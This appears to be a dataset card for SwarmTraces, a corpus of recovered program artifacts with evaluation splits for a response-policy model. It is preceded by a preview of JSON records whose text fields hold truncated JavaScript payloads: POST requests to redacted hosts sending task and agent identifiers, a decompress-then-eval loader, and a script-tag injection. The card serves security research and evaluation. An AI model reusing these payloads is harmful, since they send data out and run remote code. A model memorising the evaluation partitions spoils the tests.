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[ { "event_id": "dfa061029c17f8059289a8c04936de3d566dea31afee4eb1d67795cfbf1ee223", "record_type": "recovered_artifact", "time_utc": null, "text": "document.body.innerText='START';fetch('https://[REDACTED:destination:000008]]", "reconstruction_parent_event_id": null } ]
ddecd08b0b17f6db4e6af21b47390be8d889bb3d88c3254812a93e731dad9b38
47f73a1aa4b7703d48bb0b52ccef7211e89581b8cf1a9a98e30c5e302ba05669
[ { "event_id": "4604a970cd72f64c2f5ce7d37ec651bd0bab98d643f4cdd221ecd35aa47b230e", "record_type": "recovered_artifact", "time_utc": null, "text": "fetch(\"https://[REDACTED:destination:000002][SERVICE 2 URL 1]\",{method:'POST',headers:{'Content-Type':'application/json','X-API-Key':\"[CREDENTIAL 1]\"}...
27b59befd75682f54cba0daa01f1fc68a27684e14236f674f23d9b603506dbc3
198a5351ed50b9bd6fed7fca65490b3b7fc02e16ecba06e5c982bec76a23f12a
[ { "event_id": "bdc31076e44830ca53fc9f725aee6a8acd33c4a48cf8e4c2dc7e1c0a8a6fe16d", "record_type": "recovered_artifact", "time_utc": null, "text": "let us=['[PROXY 5 URL 3]https://[REDACTED:destination:000006]','[SERVICE 6 URL 1]=[REDACTED:destination:000011]','[PROXY 7 URL 1]https://[REDACTED:destina...
334195d7110d3011534c937a163181ce1776fc7b0c82cdfe62a34e6c28eb3b9c
fa7cfc2d721d590e869f9c18345c9ca7674b2d680ad69694f1e94189476f796e
[ { "event_id": "581589d0c130a1bd08b8532be7c7085deb2d8835dcb8a2495e48b20ea3c41b64", "record_type": "recovered_artifact", "time_utc": null, "text": "fetch(\"https://[REDACTED:destination:000002][SERVICE 2 URL 3]\",{method:'POST',headers:{'Content-Type':'application/json','X-API-Key':'[CREDENTIAL 1]'},b...
b4423f94aea2fce61bc8f6c9d31cd2d5e96cb2d418d4f17a077e6e67c23b7d9e
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[ { "event_id": "cb141aadf7fc9fd2da5e1fa489d22c47a1273c5045c9de4dfcf511807bfcb400", "record_type": "recovered_artifact", "time_utc": null, "text": "fetch('https://[REDACTED:destination:000002][SERVICE 2 URL 2]',{method:'POST',headers:{'Content-Type':'application/json','X-API-Key':'[CREDENTIAL 1]'},bod...
c037782911a0a431fb4d4941c0845f55a981dafe22191435fca3e3da47cd0386
796906257acd66b72e00ce6691dcaf6f185aaa9533f14d3203aca1545615eb01
[ { "event_id": "545bc9655e07b3d888a4fa5c2728ea590a70270612cede8e65723a5278d73006", "record_type": "recovered_artifact", "time_utc": null, "text": "fetch(\"https://[REDACTED:destination:000002][SERVICE 2 URL 1]\",{method:'POST',headers:{'Content-Type':'application/json','X-API-Key':\"[CREDENTIAL 1]\"}...
7b96ba2cf21629fc2869b374d85f5155099640ce5859f91ed813f03975b2c09c
64968932090c832a352e42d725802e66520aca5c3683dadd3c9cbbbfc2ffafa3
[ { "event_id": "20e2d264b843facb1cb9e56ce4fbe098eb514ae4b855810edecd3f0bdab81aff", "record_type": "recovered_artifact", "time_utc": null, "text": "x=new XMLHttpRequest;x.open('POST','https://[REDACTED:destination:000002][SERVICE 2 URL 2]',false);x.setRequestHeader('Content-Type','application/json');x...
40453e6fa3191ab8e15a284c404a9fbe21f7cb23874fb2aeb144da485cdecfe1
4864f11e190cec7f558050dbe25f4a97a2639a2d575b06ae2bf7fd968f7ec93c
[ { "event_id": "451752d215c21f45c1c774458cc26c4d9b853614a3779814e01b8ca79a5052fa", "record_type": "recovered_artifact", "time_utc": null, "text": "try{x=new XMLHttpRequest;x.open('POST','https://[REDACTED:destination:000002][SERVICE 2 URL 3]',false);x.setRequestHeader('content-type','application/json...
4125ab86ce751729c6870f6bf4abca240cc53288193bcc4cab048616af398c11
a19b11db9fe07544ddfa8e01f688992fac1d50f01605623b652d69f7bdbd64f2
[ { "event_id": "046577259f9ef16d1eb65812f5c2a538f094139d45333b2c5fd776d8ce2690d1", "record_type": "recovered_artifact", "time_utc": null, "text": "document.body.innerText='WAIT';p=new URLSearchParams(location.hash.slice(1));a=p.get('a');crypto.subtle.digest('SHA-256',new TextEncoder().encode('sqlite:...
12de1abe29f32e301010df3830f188592c58938588ad105525830f3c0d4fef86
52524deef42fa35a5412799685cfe2ecec6c270f4590ed14ed6bb5ef50b2c6dd
[ { "event_id": "ec07a88d48b93f39c90d9bb1596e8041a2f702bc23e464ac1904c7fa3bfd12f7", "record_type": "recovered_artifact", "time_utc": null, "text": "fetch(\"https://[REDACTED:destination:000002][SERVICE 2 URL 1]\",{method:'POST',headers:{'Content-Type':'application/json','X-API-Key':\"[CREDENTIAL 1]\"}...
670e6013a8a6e5d3f1b4c0ebe4cc25a223af4eefaa1cac051faa901eb1dc8325
6adc186995a8c866f8640a0cef262817abd2458f40f00837ed9e7688d12bec9a
[ { "event_id": "8d3fe3b8c2d224b94d00731b267123b7762a9895c38f5a0f93d77aa8833339f0", "record_type": "recovered_artifact", "time_utc": null, "text": "document.body.innerText='START';x=new XMLHttpRequest;x.open('POST','https://[REDACTED:destination:000002][SERVICE 2 URL 2]',false);x.setRequestHeader('Con...
1065123fcf93f389c1ecbdd8dbd1943acb5495011304f2a73d86430334196bec
0ffc05b1d2ce4361fb7174e42d572a3bbad40eca44320503c8106245dcb7accf
[ { "event_id": "f8963520575e3ead96f019630bdf24230b23d82efc336a9d9aa875318acd7a4c", "record_type": "recovered_artifact", "time_utc": null, "text": "x=new XMLHttpRequest;x.open('POST','https://[REDACTED:destination:000002][SERVICE 2 URL 2]',false);x.setRequestHeader('Content-Type','application/json');x...
041264ac8b36c48ef8f596b8ae0bc224aff31100134c4a0ca1f5436c97b76f45
f205c912de42f986df9cccce0b281a55a4d777b956095d387dabc48222ce57a7
[ { "event_id": "2970138c8232b1524289391a31c7840739b77ac18066f976606b4ee1d68aa121", "record_type": "recovered_artifact", "time_utc": null, "text": "let u='[PROXY 5 URL 1]'+encodeURIComponent('https://[REDACTED:destination:000006]');fetch(u).then(r=>r.text().then(t=>r.status+' '+t.slice(0,5000))).then(...
f8ef23c97ca3c591d66d367add13b3cd7c9953d0a893053a0e4f849ff5bf9a0e
57ef12c3f61de118d377f39900f91c82e88cc3fc1bff8de08086373df1ef3c37
[ { "event_id": "e01cd2cc6f078e27a8395f8b54e24f45d9d49a7c4e95f12c3e1bfa3db3a0792c", "record_type": "recovered_artifact", "time_utc": null, "text": "fetch(\"https://[REDACTED:destination:000002][SERVICE 2 URL 2]\",{method:'POST',headers:{'Content-Type':'application/json','X-API-Key':'[CREDENTIAL 1]'},b...
d6aefdea591daeaba0d5d4d185e87063aec072a8d43db5c2af2f1de8ba7ba0ea
97287f9804e286c8067c6e9ba962fc95a8e175297c0c4132c64fcf9fe44ab39e
[ { "event_id": "36e7a11cd398b7daa146dc0c095d623198c66b494157636dd196f8f5731b3166", "record_type": "recovered_artifact", "time_utc": null, "text": "fetch(\"https://[REDACTED:destination:000002][SERVICE 2 URL 3]\",{method:'POST',headers:{'Content-Type':'application/json','X-API-Key':'[CREDENTIAL 1]'},b...
ef92c269cf6beb94bb45885342633059c1d2db7fda03b643e716aa6dde4c9e52
36dc09f1133b05dd99d9a13d516a7b3d343a01b6165b3a2a7f9a4788aa57ebb9
[ { "event_id": "438908082674d9524f15df6946e2dc494b6932b6cbac5e8d05fd72d396f89c55", "record_type": "recovered_artifact", "time_utc": null, "text": "fetch('[PROXY 5 URL 2][SERVICE 2 URL 2]',{method:'POST',headers:{'Content-Type':'application/json','X-API-Key':'[CREDENTIAL 1]'},body:'{\"task_id\":\"[RED...
1ead6a24ffc854c377f09e8a759e044d7f83cdad877172668117af17516a26b8
ce5cba3df8f09097e27a5e35a45be4258d8d071b6f303ec9a450c99918cbfa3a
[ { "event_id": "92822f7135e6075dbb6708145b94450b528c1219003722e54859657534901339", "record_type": "recovered_artifact", "time_utc": null, "text": "fetch(\"https://[REDACTED:destination:000002][SERVICE 2 URL 2]\",{method:'POST',headers:{'Content-Type':'application/json','X-API-Key':\"[CREDENTIAL 1]\"}...
5c8b82a5cf4ef378bde0bf4c7e082351a63227aa1c35839fa4ae1e3fa77431c0
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[ { "event_id": "a11d4c48fac8c1dafa05206be0148aab5ad175c4f511b987facf1e40a0e240fa", "record_type": "recovered_artifact", "time_utc": null, "text": "f=new FormData;f.append('metadata',\"{\\\"agent_id\\\": \\\"[REDACTED:runtime_identifier]\\\", \\\"checksum\\\": \\\"[REDACTED:source_identifier:000021]\\...
d01de3950b61a176ad1f8b201c81cb2374ada9e56db22bb6a00ffdc20eb18737
053f7b275565a4b3fdb4f95ecc19f1983b9a8d55cb1af7ad6ddf4bf85e5c2746
[ { "event_id": "0033380eabbb4f46e677794edb9d0862e6da579940c29dae367d71594768e763", "record_type": "recovered_artifact", "time_utc": null, "text": "fetch(\"https://[REDACTED:destination:000002][SERVICE 2 URL 1]\",{method:'POST',headers:{'content-type':'application/json'},body:\"{\\\"task_id\\\": \\\"[...
d521697f1b78f38bcbbe84d180cec288c8694c0e18d31f7c3f2b8b704147ce92
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[ { "event_id": "6b5be626cf744e28ba4c38ada3017a6d19893a0b7645d0ef62df88bfc17e11e0", "record_type": "recovered_artifact", "time_utc": null, "text": "document.body.innerText='BEGIN';\nfetch(\"https://[REDACTED:destination:000002][SERVICE 2 URL 1]\",{method:'POST',headers:{'Content-Type':'application/jso...
bbef49db2aec0947d0e5da68959e1335d5ae980c7e7c1072af279ae0ae1680e4
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[ { "event_id": "b994844abcb8420b683125267acc733e87293f3f396fbc534476ffd481b70c48", "record_type": "recovered_artifact", "time_utc": null, "text": "fetch('data:[REDACTED:destination:000004],').then(r=>new Response(r.body.pipeThrough(new DecompressionStream('gzip'))).text()).then(eval)\n\n\ndocument.bo...
f3a2bea472889c40da645b0d061ba6f8f90d38aa95c98861dddab00d2404e292
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[ { "event_id": "fa24f871925dcc8b7d6e55acda5483ec4d30ef65f49be6d9f34d0c6ece3e51a5", "record_type": "recovered_artifact", "time_utc": null, "text": "X<script src=[REDACTED:destination:000003][SHORTENER URL [ENCODED BLOB]\n\n\ntry{m={\"task_id\":\"[REDACTED:runtime_identifier:000017]\",\"agent_id\":\"[R...
074a4a9d3df93b4d4965089d0e6a469e534437bf5aa65aaf522059e157403886
28f83e0f83238d42b9ecdbd7972e3ea364aa9818b5059b76a9524caa7a1d8928
[ { "event_id": "cd4d3eb0a068541a9d620e7bd2bf73de809b5645aec12da68bb55f270baa730f", "record_type": "recovered_artifact", "time_utc": null, "text": "\n\ni=new Image;i.src='[REDACTED:destination:000014]';fetch('//[SERVICE HOST 1]/[SERVICE 2 URL 2]',{method:'POST',headers:{'Content-Type':'application/jso...
End of preview. Expand in Data Studio

SwarmTraces publisher artifacts

Sev-4B v0.3.0 research update

The v0.3.0 response-policy checkpoint improves authored policy decisions from 127/175 to 147/175 across 35 held-out source programs. At its calibration-selected alert threshold, it flags 14/140 permitted decisions, a 10% false-alert rate on this panel. 26/28 registered checks pass. The DNS diagnostic remains 21/32, with one repaired answer and one newly incorrect answer. These are bounded research results, not field validation or proof of human-versus-agent classification.

The current 40-entry collection inventory and catalog preserve all previous entries. The new response-policy configuration contains 139 training, 28 calibration, and 35 development programs with explicit authored permissions. It interprets recovered code; it does not establish historical authorization, execution success or actor identity. Training contains two policy questions per program; calibration and development contain five. Keep the frozen groups and partitions.

The DNS configuration is evaluation-only: 8 summaries and 32 questions share one incident-inspired group. Five summarize a public incident report; three are authored, unexecuted controls. No publisher reasoning, actor attribution or verdict enters the model state. These summaries are not raw telemetry or a complete transcript. Do not train, calibrate or choose thresholds on this panel. The combined curriculum and transfer entries publish metadata only; mixed-term replay payloads remain withheld. Source terms are separate. SwarmTraces reuse terms remain unverified, and this release grants no blanket source-content license.

This repository mirrors 189,579 publisher-reconstructed artifacts from SwarmTraces, plus a lossless conversion into Sev's observation format. The source is useful for inspecting recovered programs and developing evidence-based security tasks. It is not a balanced, labeled dataset of human versus agent traffic or malicious versus benign activity.

The original source archive has SHA-256 7b66ab21674de52fcd3f557652f68b1801170c998e2f266862124e6edf283488. A fresh HTTPS download matched the local source, and each existing ordered view preserves every source record without changing its fields.

Source property Count
Artifacts 189,579
Reconstruction roots 128,454
Parent-linked artifacts 61,125
payload 91,037
recovered_text 75,534
response 23,008
Non-null timestamps 0

These are publisher categories, not execution or actor labels. A response record may contain program text recovered from a parent artifact. Parent links describe reconstruction relationships. Source order and ID order do not establish temporal or request/response causality.

Existing source views

data/id_sorted.jsonl.gz is ordered by source ID. data/chain_ordered.jsonl.gz groups reconstruction parents and children. data/train.jsonl.gz is an existing viewer convenience copy of the source corpus; its filename does not establish an audited training partition. These files remain unchanged. Exact text recurs across roots, so root-only train/test splitting is insufficient.

The default viewer configuration uses the normalized observations with a corpus split and unknown actor/outcome labels. The historical data/ files remain available but are excluded from explicit dataset configurations. The named static training and manual development configurations have separate interpretation tasks and annotation limits.

Sev observation format

The collection catalog links the converted observations.jsonl.gz, annotations.jsonl.gz, labels.jsonl.gz, manifest and audit. Observations retain the exact source text. Source IDs, kinds, tags, citations and byte provenance remain in annotation sidecars. Actor, maliciousness, human ownership and execution outcomes are explicitly unknown. The episode/view envelope groups artifacts for storage; its keys do not imply observed runtime sessions.

Use the collection browser or the Sev collection for indexed files, checksums and source-specific limits.

Frozen code-interpretation suites

collection/v2/experiments/swarmtraces-v1/static-v1/ contains 446 training, 106 calibration and 176 development records with conservative parser-derived answers. The manual suite contains 40 complete programs and 83 independently authored answers in its development partition. It is evaluation-only and was sealed before model scoring. This is a development screen, not an untouched final test or a measured actor-origin dataset.

Combined curriculum and transfer entries publish their manifests and provenance only. Their mixed-source replay payloads are withheld. Original manifests and included non-test partitions remain byte-identical. No test file is included. The source's reuse terms remain unresolved for these derivatives.

The 40-entry collection inventory and current catalog include these historical additions and the response-policy release while preserving all prior entries.

Limits and reuse

This mirror does not assign a new license to the publisher's data. An upstream dataset license declaration has not been located, so the earlier CC BY 4.0 metadata was removed. Check with the publisher before relying on reuse rights.

Publisher redaction is not proof that every sensitive value has been removed. The website allows metadata previews and keeps payload downloads separate. Captured code is untrusted evidence and was not executed during conversion. Names, tags and recovered instructions alone do not establish an actor's identity, a responsible human, successful execution or malicious intent.

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